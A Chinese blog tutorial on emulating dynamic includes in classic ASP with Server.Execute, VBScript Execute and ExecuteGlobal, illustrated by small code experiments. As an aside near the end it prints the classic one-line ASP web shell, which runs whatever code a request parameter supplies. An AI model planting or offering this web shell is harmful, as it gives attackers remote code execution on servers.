ASP中Server.Execute和Execute實(shí)現動(dòng)態(tài)包含(include)腳本

最近打算嘗試一下在A(yíng)SP中實(shí)現MVC架構，肯定有人問(wèn)我：ASP都淘汰了，為什么還研究？這點(diǎn)我也知道，自從微軟放棄ASP 3.0轉向ASP.NET后，ASP已經(jīng)遠遠落后于和它幾乎同時(shí)開(kāi)始的PHP和JSP，開(kāi)源比閉源的好處就像PHP和ASP一樣，ASP說(shuō)淘汰就淘汰，誰(shuí)也救不了，但是值得注意的是ASP在中國市場(chǎng)還是蠻廣泛的，尤其是一些中小企業(yè)的一些應用，簡(jiǎn)單的CMS不在話(huà)下，而且部署簡(jiǎn)單，在一些老舊的Windows系統上，不需要安裝.NET Framework基本上就可以直接運行了，所以準備一個(gè)框架，還是有必要的，不過(guò)我這個(gè)是實(shí)驗性框架，只是驗證ASP究竟能不能實(shí)現類(lèi)似PHP的MVC架構。
好了，說(shuō)了這么多，下面直接轉入正題吧。這個(gè)問(wèn)題的緣由是因為我需要動(dòng)態(tài)包含ASP文件，大家知道在A(yíng)SP中只有一種include方法，那就是SSI（Server Side Include），基本上分為以下兩種：
代碼如下:
<!-- #include file="sample.asp" -->
<!-- #include virtual="sample.asp" -->

這兩種基本上大家第一種用得多一些，#include virtual包含的是虛擬路徑，一般虛擬目錄會(huì )用得到。但是這兩種都屬于靜態(tài)的，如果我們希望是動(dòng)態(tài)包含，但不可以寫(xiě)成：
代碼如下:
<!-- #include file="<%=MyVar%>" -->
<!-- #include virtual="<%=MyVar%>" -->

上面的寫(xiě)法是錯誤的，可以理解為，#include指令是在A(yíng)SP啟動(dòng)腳本引擎執行ASP<% %>標記之間腳本之前執行的，也就是說(shuō)#include不是ASP的工作，而是服務(wù)端程序，如IIS的翻譯工作，所以就不會(huì )理會(huì )你的ASP代碼了。
如何實(shí)現類(lèi)似于PHP的include、include_once、require、require_once動(dòng)態(tài)包含腳本方法呢？下面再來(lái)看ASP Server對象的一個(gè)方法：Server.Execute ，搜索所有的ASP特性，可以發(fā)現這個(gè)功能最類(lèi)似于動(dòng)態(tài)include，我們可以做個(gè)實(shí)驗：
Sample.inc.asp
代碼如下:
<%
Response.Write "Hello World!"
%>

test.asp
代碼如下:
<%
Server.Execute "Sample.inc.asp"
Response.Write "I am test.asp!"
%>

實(shí)際輸出應該是“Hello World!I am test.asp!”，說(shuō)明Server.Execute在動(dòng)態(tài)包含方面可以工作得很好，但是如果我想包含類(lèi)或者函數呢？接下來(lái)做下面這個(gè)實(shí)驗：
Sample.class.asp
代碼如下:
<%
Class Sample
End Class
%>

test.asp
代碼如下:
<%
Server.Execute "Sample.class.asp"
Response.Write TypeName(Eval("New Sample"))
%>

直接運行，出現錯誤“Microsoft VBScript 運行時(shí)錯誤 錯誤 '800a01fa' 類(lèi)沒(méi)有被定義: 'Sample'”，結果很令人失望，為什么會(huì )出現這種情況呢？查閱了MSDN，找到這段描述：“If a file is included in the calling page by using #include, the executed .asp will not use it. For example, you may have a subroutine in a file that is included in your calling page, but the executed .asp will not recognize the subroutine name. ” 貌似和我遇到的問(wèn)題有些不一樣，難道Server.Execute是代碼隔離的？再進(jìn)行下面這個(gè)實(shí)驗：
Sample.inc.asp
代碼如下:
<%
Dim MyVar
MyVar = "I am Sample!"
%>

test.asp
代碼如下:
<%
Dim MyVar
MyVar = "I am test!"
Server.Execute "Sample.inc.asp"
Response.Write MyVar
%>

結果輸出的是“I am test!”，很是失望！看來(lái)Server.Execute是變量、函數、類(lèi)這類(lèi)代碼隔離的，也就是說(shuō)調用端和被調用端在代碼級別上互不干擾，看來(lái)Server.Execute只能用于包含.asp模板了。
下面隆重出場(chǎng)的是VBScript的腳本特性Execute，傳給Execute的必須是有效的VBScript腳本代碼，而且Execute是上下文相關(guān)的，這點(diǎn)看來(lái)很接近于我們需要的動(dòng)態(tài)include。
test.asp
代碼如下:
<%
Execute "Class Sample : End Class"
Response.Write TypeName(Eval("New Sample"))
%>

上面的代碼成功輸出我們所需要的類(lèi)型名稱(chēng)Sample。證明Execute確實(shí)可以做到上下文相關(guān)，但是問(wèn)題是利用Execute包含asp文件沒(méi)有Server.Execute方便，Execute是VBScript腳本自帶的，首先只能用來(lái)執行代碼文本，所以需要讀取一次文件內容，其次不能用來(lái)識別ASP的一些標簽，比如<% %>還有一種類(lèi)似于<%=MyVar %>的調用方法，所以要過(guò)濾掉<% %>，然后要轉換<%=MyVar %>為Response.Write MyVar。由于我需要的是包含類(lèi)文件，不會(huì )出現<%=MyVar %>，只要簡(jiǎn)單的Replace掉<% %>就可以了。關(guān)于讀取文件內容和簡(jiǎn)單排除<% %>可以參考下面這個(gè)函數：
代碼如下:
Function file_get_contents(filename)
Dim fso, f
Set fso = Server.CreateObject("Scripting.FilesystemObject")
Set f = fso.OpenTextFile(Server.MapPath(filename), 1)
file_get_contents = f.ReadAll
f.Close
Set f = Nothing
Set fso = Nothing
End Function
Function class_get_contents(filename)
Dim contents
contents = file_get_contents(filename)
contents = Replace(contents, "<" & "%", "")
contents = Replace(contents, "%" & ">", "")
class_get_contents = contents
End Function

有了上面的函數我們可以直接測試下面的代碼：
Sample.class.asp
代碼如下:
<%
Class Sample
End Class
%>

test.asp
代碼如下:
<%
Execute class_get_contents("Sample.class.asp")
Response.Write TypeName(Eval("New Sample"))
%>

結果輸出我們所期望的Sample類(lèi)型名稱(chēng)，看來(lái)Execute還是很強大的，確實(shí)很強大，因為經(jīng)常有不懷好意者用來(lái)做“小馬”，最簡(jiǎn)單的ASP一句話(huà)木馬的寫(xiě)法估計是下面這句了：
代碼如下: <%Execute Request("c")%>
比如這段腳本位于file.asp，然后傳入file.asp?c=木馬文本，呵呵，下面的事你也知道了吧。好了這個(gè)是題外話(huà)，關(guān)于Execute還有一點(diǎn)需要注意的是，這個(gè)是上下文相關(guān)的，所以要注意作用域問(wèn)題，如果Execute位于Sub過(guò)程或者Function函數內部，那么在這個(gè)外部是無(wú)法訪(fǎng)問(wèn)的。
參考文檔：《》 和《》 。
2011年11月23日更新
還有一種VBScript特有的寫(xiě)法叫做ExecuteGlobal，這個(gè)可以解決上文說(shuō)的作用域問(wèn)題，通過(guò)其執行的代碼是全局有效的，但是要注意避免類(lèi)、函數、過(guò)程或者變量的重定義覆蓋問(wèn)題。